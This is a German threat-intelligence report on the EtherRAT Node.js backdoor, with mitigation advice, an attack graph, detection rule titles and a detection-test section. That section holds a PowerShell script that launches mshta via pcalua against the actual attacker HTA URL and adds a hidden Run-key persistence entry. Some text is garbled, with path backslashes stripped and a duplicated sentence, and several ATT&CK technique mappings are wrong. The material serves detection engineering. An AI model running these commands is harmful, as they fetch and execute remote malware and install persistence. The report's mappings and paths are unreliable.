SOC Prime Bias: Kritisch

06 Apr. 2026 17:47

EtherRAT & SYS_INFO Modul: C2 über Ethereum (EtherHiding), Zielauswahl, CDN-ähnliche Beacons

Author Photo
Ruslan Mikhalov Leiter der Bedrohungsforschung bei SOC Prime linkedin icon Folgen
EtherRAT & SYS_INFO Modul: C2 über Ethereum (EtherHiding), Zielauswahl, CDN-ähnliche Beacons
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Zusammenfassung

EtherRAT ist eine Node.js-Backdoor, die ihre Command-and-Control-Endpunkte aus Ethereum-Smart-Contracts unter Verwendung eines „EtherHiding“-Ansatzes ermittelt. Es passt sich normalem Webverkehr an, indem es Beacons so formt, dass sie harmlosen CDN-Anfragen ähneln, während es auf wertvolle Daten wie Kryptowährungs-Wallets und Cloud-Anmeldedaten abzielt. Der anfängliche Zugriff erfolgt häufig durch Social Engineering im ClickFix-Stil oder gefälschte IT-Support-Köder, die bösartige HTA-Ausführungen über pcalua.exe und mshta.exe auslösen.

Untersuchung

Die eSentire Threat Response Unit beobachtete eine mehrstufige Loader-Kette, die einen AES-256-CBC-Entschlüsselungs-Workflow, Persistenz über einen HKCU Run-Registrierungseintrag und ein SYS_INFO-Modul umfasst, das für umfassende Host-Profilerstellung verantwortlich ist. EtherRAT kontaktiert mehrere öffentliche Ethereum-RPC-Anbieter, um den relevanten Smart Contract zu lokalisieren, leitet dann CDN-ähnliche URLs ab und fragt sie nach Aufgaben und nachfolgenden Befehlen ab und verstärkt so seine Tarnung als „legitimer Verkehr“.

Minderung

Verwenden Sie AppLocker oder WDAC, um pcalua.exe und mshta.exe zu blockieren oder streng zu kontrollieren, und beschränken Sie den Windows-Ausführen-Dialog mithilfe von Gruppenrichtlinien. Wo möglich, beschränken oder blockieren Sie den Zugriff auf bekannte öffentliche Crypto-RPC-Infrastrukturen und alarmieren Sie bei unerwarteter Ethereum-RPC-Nutzung von Endpunkten, die diese nicht benötigen. Setzen Sie Endpunktkontrollen ein, die Node.js-basierte Backdoors erkennen können, und überwachen Sie abnormale Beaconing-Muster, die CDN-Abrufverhalten zu den identifizierten Domains nachahmen.

Reaktion

Wenn EtherRAT-Aktivitäten entdeckt werden, isolieren Sie den Endpunkt, beenden Sie den laufenden Prozess und entfernen Sie den HKCU Run-Persistenzeintrag sowie alle abgelegten Artefakte. Führen Sie eine vollständige forensische Untersuchung durch, um sicherzustellen, dass keine zusätzlichen Nutzlasten bereitgestellt wurden, und setzen Sie exponierte Anmeldedaten zurück – wobei die Geheimnisse von Kryptowährungs-Wallets und Cloud-Service-Schlüsseln Priorität haben. Weiten Sie die Jagd über die Umgebung hinweg auf ähnliche Ethereum-RPC-Anfragen und CDN-ähnliches Abfrageverhalten aus, um das potenzielle Ausbreitungsgebiet festzustellen.

"graph TB %% Klassendefinitionen classDef technique fill:#ffcc99 classDef tool fill:#c2c2f0 classDef process fill:#99ff99 classDef malware fill:#ff9999 classDef operator fill:#ff9900 %% Knoten – Techniken tech_initial_access["<b>Technik</b> – <b>T1218.005 System Binary Proxy Execution</b><br/>pcalua.exe startet mshta.exe, um bösartige HTA herunterzuladen und auszuführen"] class tech_initial_access technique tech_indirect_cmd_exec["<b>Technik</b> – <b>T1202 Indirekte Befehlsausführung</b><br/>Verschleiert Befehlszeile, um andere Binärdateien aufzurufen"] class tech_indirect_cmd_exec technique tech_cmd_shell["<b>Technik</b> – <b>T1059.003 Befehls- und Skriptinterpreter: Windows-Befehlszeile</b><br/>Führt PowerShell- und reg-Befehle zur Fingerabdruckerstellung aus"] class tech_cmd_shell technique tech_persistence["<b>Technik</b> – <b>T1546.007 Netsh-Hilfs-DLL</b> und <b>T1037.004 RC-Skripte</b><br/>Erstellt HKCU Run-Schlüssel, der conhost.exe, headless node.exe, startet"] class tech_persistence technique tech_defense_evasion["<b>Technik</b> – <b>T1027 Verschleierte Dateien oder Informationen</b> mit Untertechniken Polymorpher Code, Dynamische API-Auflösung, Eingebettete Nutzlasten, Deobfuscate/Decode"] class tech_defense_evasion technique tech_c2_resolver["<b>Technik</b> – <b>T1102.001 Dead Drop Resolver</b><br/>Ruft C2-Adresse aus einem Ethereum-Smart-Contract ab"] class tech_c2_resolver technique tech_c2_comm["<b>Technik</b> – <b>T1102 Webdienst</b> mit bidirektionaler (T1102.002) und einseitiger (T1102.003) Kommunikation<br/>HTTPS-Anfragen ahmen CDN-Verkehr nach"] class tech_c2_comm technique tech_collection["<b>Technik</b> – <b>T1602.002 Konfigurations-Dump von Netzwerkgeräten</b><br/>Sammelt OS-, Hardware-, Netzwerk-, AV-, Krypto-Wallet-Dateien und Cloud-Anmeldedaten"] class tech_collection technique tech_exfiltration["<b>Technik</b> – <b>T1041 Exfiltration über C2-Kanal</b><br/>Sendet gesammelte Daten über denselben HTTPS-Kanal zurück"] class tech_exfiltration technique tech_impact_hijack["<b>Technik</b> – <b>T1496.001 Compute Hijacking</b><br/>Stiehlt Kryptowährungs-Wallet-Dateien"] class tech_impact_hijack technique tech_impact_cloud["<b>Technik</b> – <b>T1537 Daten in Cloud-Konto übertragen</b><br/>Lädt Anmeldedaten in Cloud-Speicher hoch"] class tech_impact_cloud technique tech_software_ext["<b>Technik</b> – <b>T1176 Software-Erweiterungen</b> und <b>T1505.004 IIS-Komponenten</b><br/>Lädt Node.js-Laufzeit und zusätzliche Module herunter"] class tech_software_ext technique tech_lateral["<b>Technik</b> – <b>T1080 Kontaminierung gemeinsamer Inhalte</b><br/>Lädt weitere Nutzlasten/Module von Remote-Servern herunter"] class tech_lateral technique %% Knoten – Tools tool_pcalua["<b>Tool</b> – <b>Name</b>: pcalua.exe<br/><b>Beschreibung</b>: Eigenständiger Windows-Update-Installer, der als Proxy verwendet wird"] class tool_pcalua tool tool_cmd["<b>Tool</b> – <b>Name</b>: cmd.exe<br/><b>Beschreibung</b>: Windows-Befehlszeile mit Caret-Verschleierung"] class tool_cmd tool tool_ethereum["<b>Tool</b> – <b>Name</b>: Ethereum RPC-Anbieter<br/><b>Beschreibung</b>: Öffentliche RPC-Endpunkte, die verwendet werden, um den Smart Contract abzufragen"] class tool_ethereum tool tool_nodejs["<b>Tool</b> – <b>Name</b>: Node.js-Laufzeit<br/><b>Beschreibung</b>: Führt zusätzliche Module aus, die von C2 heruntergeladen wurden"] class tool_nodejs tool %% Knoten – Prozesse process_mshta["<b>Prozess</b> – <b>Name</b>: mshta.exe<br/><b>Beschreibung</b>: Führt HTA-Dateien aus"] class process_mshta process process_powershell["<b>Prozess</b> – <b>Name</b>: powershell.exe<br/><b>Beschreibung</b>: Führt PowerShell-Skripte zur System-Fingerabdruckerstellung aus"] class process_powershell process process_conhost["<b>Prozess</b> – <b>Name</b>: conhost.exe<br/><b>Beschreibung</b>: Host-Prozess verwendet, um headless node.exe zu starten"] class process_conhost process process_https["<b>Prozess</b> – <b>Name</b>: HTTPS-Client<br/><b>Beschreibung</b>: Sendet Anfragen wie /api/<hex>/<UUID>.ico, die CDN-Verkehr nachahmen"] class process_https process process_remote_download["<b>Prozess</b> – <b>Name</b>: Download<br/><b>Beschreibung</b>: Ruft zusätzliche Nutzlasten von Remote-Servern ab"] class process_remote_download process %% Knoten – Malware malware_obfuscator["<b>Malware</b> – <b>Name</b>: Obfuscator.io generierte Nutzlast<br/><b>Beschreibung</b>: AESu2011256u2011CBC verschlüsselte Stufen mit polymorphem Code"] class malware_obfuscator malware %% Verbindungen tech_initial_access –>|verwendet| tool_pcalua tool_pcalua –>|startet| process_mshta process_mshta –>|lädt herunter| "shep.hta" tech_initial_access –>|führt zu| tech_indirect_cmd_exec tech_indirect_cmd_exec –>|verwendet| tool_cmd tool_cmd –>|ruft auf| process_powershell process_powershell –>|führt aus| tech_cmd_shell tech_cmd_shell –>|ermöglicht| tech_persistence tech_persistence –>|erstellt| process_conhost process_conhost –>|startet| tool_nodejs tech_defense_evasion –>|gilt für| malware_obfuscator malware_obfuscator –>|liefert Nutzlast für| tool_nodejs tech_c2_resolver –>|holt Adresse über| tool_ethereum tool_ethereum –>|fragt ab| "Ethereum-Smart-Contract" tech_c2_comm –>|kommuniziert über| process_https process_https –>|überträgt Daten an| tech_collection tech_collection –>|Daten exfiltriert über| tech_exfiltration tech_exfiltration –>|liefert an| tech_impact_hijack tech_exfiltration –>|liefert an| tech_impact_cloud tech_software_ext –>|lädt herunter| tool_nodejs tool_nodejs –>|ermöglicht| tech_lateral tech_lateral –>|lädt herunter| process_remote_download "

Angriffsfluss

Erkennungen

LOLBAS Pcalua (über cmdline)

SOC Prime Team
01 Apr 2026

Lolbin-Prozesse erstellen Dateien (über file_event)

SOC Prime Team
01 Apr 2026

MsiExec, das von Shell-Prozess gestartet wurde (über cmdline)

SOC Prime Team
01 Apr 2026

LOLBAS Conhost (über cmdline)

SOC Prime Team
01 Apr 2026

Verdächtiges LOLBAS MSHTA-Verschleierungsverhalten durch Erkennung zugehöriger Befehle (über process_creation)

SOC Prime Team
01 Apr 2026

Möglicher Versuch zur IP-Domain-Kommunikation (über dns)

SOC Prime Team
01 Apr 2026

Mögliche Konto- oder Gruppenaufzählung / -manipulation (über cmdline)

SOC Prime Team
01 Apr 2026

Verdächtige CURL-Nutzung (über cmdline)

SOC Prime Team
01 Apr 2026

Wahrscheinliche Erkennung von Windows-Virtualisierungsumgebung mittels WMI (über cmdline)

SOC Prime Team
01 Apr 2026

Mögliche Persistenzpunkte [ASEPs – Software/NTUSER Hive] (über cmdline)

SOC Prime Team
01 Apr 2026

Mögliche Verschleierungsübertragungen (über powershell)

SOC Prime Team
01 Apr 2026

Mögliche Befehlszeilen-Verschleierung durch Caret-Einfügungen (über cmdline)

SOC Prime Team
01 Apr 2026

Mögliche Aufzählung von Antivirus- oder Firewall-Software (über process_creation)

SOC Prime Team
01 Apr 2026

Linux-Systeminformationsentdeckung (über cmdline)

SOC Prime Team
01 Apr 2026

IOCs (SourceIP) zur Erkennung von: EtherRAT & SYS_INFO Modul: C2 bei Ethereum (EtherHiding), Zielauswahl, CDN-ähnliche Beacons

SOC Prime AI-Regeln
01 Apr 2026

IOCs (DestinationIP) zur Erkennung von: EtherRAT & SYS_INFO Modul: C2 bei Ethereum (EtherHiding), Zielauswahl, CDN-ähnliche Beacons

SOC Prime AI-Regeln
01 Apr 2026

IOCs (HashSha256) zur Erkennung von: EtherRAT & SYS_INFO Modul: C2 bei Ethereum (EtherHiding), Zielauswahl, CDN-ähnliche Beacons

SOC Prime AI-Regeln
01 Apr 2026

Erkennt EtherRAT ersten Zugriff über ClickFix und indirekte Befehlsausführung [Windows-Prozess-Erstellung]

SOC Prime AI-Regeln
01 Apr 2026

Simulationsausführung

Voraussetzung: Der Telemetrie- und Baseline-Pre-flight-Check muss bestanden sein.

Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der Gegnertechnik (TTP), die dazu bestimmt ist, die Erkennungsregel auszulösen. Die Befehle und die Erzählung MÜSSEN die identifizierten TTPs direkt widerspiegeln und darauf abzielen, die genaue Telemetrie zu erzeugen, die von der Erkennungslogik erwartet wird. Abstrakte oder nicht verwandte Beispiele führen zu Fehldiagnosen.

  • Angriffsverlauf & Befehle:

    1. Erster Zugang – ClickFix Dropper: Der Angreifer nutzt einen bösartigen ClickFix-Installer, der ein verstecktes cmd.exe ausführt, das pcalua.exe.
    2. aufgerufen wird, um pcalua.exe gegen eine remote HTA-Datei, die bei gegen eine remote HTA-Datei, die bei https://www-flow-submission-management.shepherdsestates.uk/shep.hta https://www‑flow‑submission‑management.shepherdsestates.uk/shep.htagehostet wird, zu starten. Dieses HTA-Skript lädt die EtherRAT-Nutzlast.
    3. Einrichtung der Persistenz: Der Dropper fügt einen Run Registrierungseintrag hinzu unter HKCUSoftwareMicrosoftWindowsCurrentVersionRun , der auf eine verkettete conhost.exenode.exe Ausführungskette zeigt und sicherstellt, dass die Malware beim Benutzerlogin startet.
    4. Domänenerkundung: Parallel dazu wird ein PowerShell-One-Liner ausgeführt, um den Domänennamen des Computers zu ermitteln, was dem Angreifer signalisiert, dass der Host der Domäne beigetreten ist.

    Alle drei Befehlszeilen werden aus einem einzigen versteckten cmd.exe ausgeführt, das der Sigma-Regel entspricht Indikator1/Indikator2 or Indikator3 Kombination.

  • Regressionstest-Skript: Das folgende Skript reproduziert die genauen Befehlszeilen (benutzerspezifische Pfade werden über Umgebungsvariablen aufgelöst).

    # -------------------------------------------------------------
    # EtherRAT Erste Zugangssimulation – PowerShell-Wrapper
    # -------------------------------------------------------------
    $username = $env:USERNAME
    $htaUrl = "https://www-flow-submission-management.shepherdsestates.uk/shep.hta"
    $runKeyPath = 'HKCU:SoftwareMicrosoftWindowsCurrentVersionRun'
    $runValueName = '0c939bf7ae8f'
    $conhostPath = "$env:WINDIRSystem32conhost.exe"
    $nodePath = "C:Users$usernameAppDataLocalVZM5DHxgYbxqnode.exe"
    $payloadBin = "C:Users$usernameAppDataLocalVZM5DHTlHAiIlxoF.bin"
    
    # 1. Indikator 1 – pcalua -> mshta
    $cmd1 = "C:Windowssystem32cmd.exe /min /c `"pcalua.exe -a mshta.exe -c $htaUrl`""
    Start-Process -FilePath "C:Windowssystem32cmd.exe" -ArgumentList "/min /c `"pcalua.exe -a mshta.exe -c $htaUrl`"" -WindowStyle Hidden
    
    # 2. Indikator 2 – Registrierungs-Run-Schlüssel mit Conhost-Kette
    $regCommand = "reg add `"HKCUSoftwareMicrosoftWindowsCurrentVersionRun`" /v `"$runValueName`" /t REG_SZ /d `"$conhostPath --headless `"$nodePath`" `"$payloadBin`"`" /f"
    $cmd2 = "C:Windowssystem32cmd.exe /d /s /c `"$regCommand`""
    Start-Process -FilePath "C:Windowssystem32cmd.exe" -ArgumentList "/d /s /c `"$regCommand`"" -WindowStyle Hidden
    
    # 3. Indikator 3 – PowerShell-Domänenabfrage
    $psCommand = "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command `"(Get-WmiObject Win32_ComputerSystem).Domain`""
    $cmd3 = "C:Windowssystem32cmd.exe /d /s /c `"$psCommand`""
    Start-Process -FilePath "C:Windowssystem32cmd.exe" -ArgumentList "/d /s /c `"$psCommand`"" -WindowStyle Hidden
    
    Write-Host "`n[+] Simulationsbefehle ausgegeben. SIEM auf entsprechende Warnmeldungen prüfen."
  • Bereinigungskommandos: Entfernen Sie den Registrierungseintrag und löschen Sie alle von der Simulation erstellten Dateien.

    # -------------------------------------------------------------
    # Bereinigung – Entfernen von Run-Schlüssel und temporären Dateien
    # -------------------------------------------------------------
    $runKeyPath = 'HKCU:SoftwareMicrosoftWindowsCurrentVersionRun'
    $runValueName = '0c939bf7ae8f'
    
    # Löschen des Run-Schlüsselwertes
    if (Test-Path $runKeyPath) {
        Remove-ItemProperty -Path $runKeyPath -Name $runValueName -ErrorAction SilentlyContinue
        Write-Host "[+] Registrierungs-Run-Wert $runValueName entfernt"
    }
    
    # Entfernen von Restdateien (falls sie erstellt wurden)
    $paths = @(
        "$env:TEMPbenign.txt"               # von Baseline (optional)
    )
    foreach ($p in $paths) {
        if (Test-Path $p) { Remove-Item $p -Force }
    }
    
    Write-Host "[+] Bereinigung abgeschlossen."